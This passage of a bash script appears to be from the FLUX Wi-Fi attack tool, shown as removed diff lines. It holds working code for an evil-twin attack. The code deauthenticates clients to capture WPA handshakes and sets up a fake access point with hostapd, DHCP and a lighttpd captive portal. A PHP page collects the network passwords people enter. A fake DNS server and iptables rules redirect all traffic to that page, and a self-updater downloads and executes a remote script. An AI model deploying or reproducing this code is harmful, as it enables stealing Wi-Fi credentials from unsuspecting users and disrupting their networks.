installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " - sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`airmon-ng| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green }MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - 